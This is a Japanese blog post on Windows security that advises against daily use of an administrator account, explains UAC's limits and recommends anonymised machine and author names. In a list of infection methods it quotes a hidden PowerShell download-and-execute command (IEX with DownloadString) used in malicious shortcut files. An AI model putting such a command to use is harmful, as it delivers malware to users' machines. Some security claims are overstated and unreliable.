皆さんは普段のパソコンをどのように使っていますか?というのも、普段の使い方であれば通常、管理者権限でログインして、普通に使っている…という方が多いのではないでしょうか。特にWindowsXP以前からPCに触れたことのある方は間違いなく管理者権限でPCを普段から使っていると思います。
マイクロソフト自身も、Windows11を普通にインストールするとそのアカウントがAdministrator(管理者)にしてきますし、普段の作業はこれで十分事足りるのですが、個人的には勧められない設定となります。もともと、私自身がレンタルサーバーを運営していて、rootと一般ユーザーの違い。sudo(su)文化への馴染みがあるなど、文化・環境の違いがあるため、Windowsでもそれを実践しています。今回は、セキュリティを上げるところから始めてみましょう。
◇ 常に管理者権限の危険性を認識する
通常のインストールであれば、アカウントの作成途中にマイクロソフトアカウントを作成する画面が表示され、自動的にWindowsとマイクロソフトアカウントが紐づけされ、そのまま管理者権限アカウントが作成されます。それで作業することの危険性をいくつか挙げるとーー
- ウイルス感染の危険性が常時つきまとう
かつての感染手法の多くはウェブサイト上から不審なファイルをダウンロードして実行。マルウェアがペイロードされて常駐する、という事例が多かったのですが、現在は手法が様変わりしました。例えば
・「広告の閉じるボタンをクリックした」だけでzipファイルがダウンロードされる。
・Wordやエクセルに埋め込まれたマクロでペイロード。
・PDF上にJavaScript埋め込み。実行。
高度な例では
・ZIPファイル内のショートカットファイルをWindowsの標準フォルダ画像に偽造。
├.lnk内部で引数を設定。ex:”powershell.exe -w hidden -ep bypass -c IEX (New-Object Net.WebClient).DownloadString(…)”
├マルウェアのペイロード完了。この時はユーザアカウント制御が起動しません。
├rundll32.exe経由でexplorer.exeやsvchost.exeなどにコードインジェクション
└マルウェアのペイロード完了
などが挙げられます。特にショートカットファイルを利用したマルウェアのペイロードは、2009年~2015年ごろにかけてrootkit.0accessなどの起動によく用いられていた手法です。
通常の認識であれば、危険なファイルの実行前にWindowsがUACで警告を出すと認識されがちですが、残念ながらPowerShellを引数で呼び出す方法はウイルス警告が作動しません。 - UACの形骸化
Windows Vista以降に導入されたユーザーアカウント制御の本来の目的は「管理者権限が必要な処理が実行された場合にユーザーに明示的に許可を求める」というものでした。しかし、今現在でどれほどその機能が活用されているでしょうか。ダウンロードしたファイルを実行する際に警告が表示された場合、そのまま「はい」を押して実行する例が多いのではないでしょうか。
特に、このUACそのものをバイパスする手法が多くなったうえに、ユーザー側で意図的に機能をオフにする事例すら見受けられます。
また、先述のとおりPowerShellを使ったマルウェアのペイロードでは、UACは作動しません。特にこのような慢心は、マルウェアにとっての天国となります。
・UACが作動する度に「はい」を押す。
└いつもの警告程度に思われている場合が多いと体感しています。
・UACそのものをオフにしてしまう。
└自身のPCを自身で管理することを是とする場合、この機能はオフにされることすらあります。これは実行前の警告そのものを自らオフにすることと同義です。
・UACそのものが意味をなさない
└先述のとおりです。 - UACは万能ではない
先述のとおり、UACは万能の防壁ではありません。近年ではPowerShellやwscriptなどを用いてマルウェアをペイロードする方法が増えていて、その際は警告を検知することができません。これは潜在的なセキュリティリスクとなり得ます。
ここまでである程度、「常時管理者権限の危険性」が認識できたことを期待します。
◇ 情報漏洩の危険性
これは私のPCの例ですが、PCの名前を「JSD-***-N-***」のように推測できない名前に設定しています。自身の名前やニックネームを用いることで、所有者が用意に明らかになってしまうためです。それを防ぐために、普段からニックネームを用いず、容易に憶測できないように設定しているのが私の環境です。
また、ユーザー名に本名を入れている方も多く見受けられますが、これは後述するWordやExcelでの情報漏洩の可能性が大きくなるため、本名を入れるべきではありません。

私の場合はこのようにローカルアカウントの名前を「英語-英語-ユニークな数字-チェックデジット風の数字」という風に設定しています。また、WordやExcelでの作成者設定も、同じようにこのアカウント名で作成されるように明確に設定しています。

このように、作成者情報からの本名流出の例などは枚挙に暇がありませんが、WordやExcelの作成者設定を強制的に書き換えることで、そのリスクをゼロにすることができます。

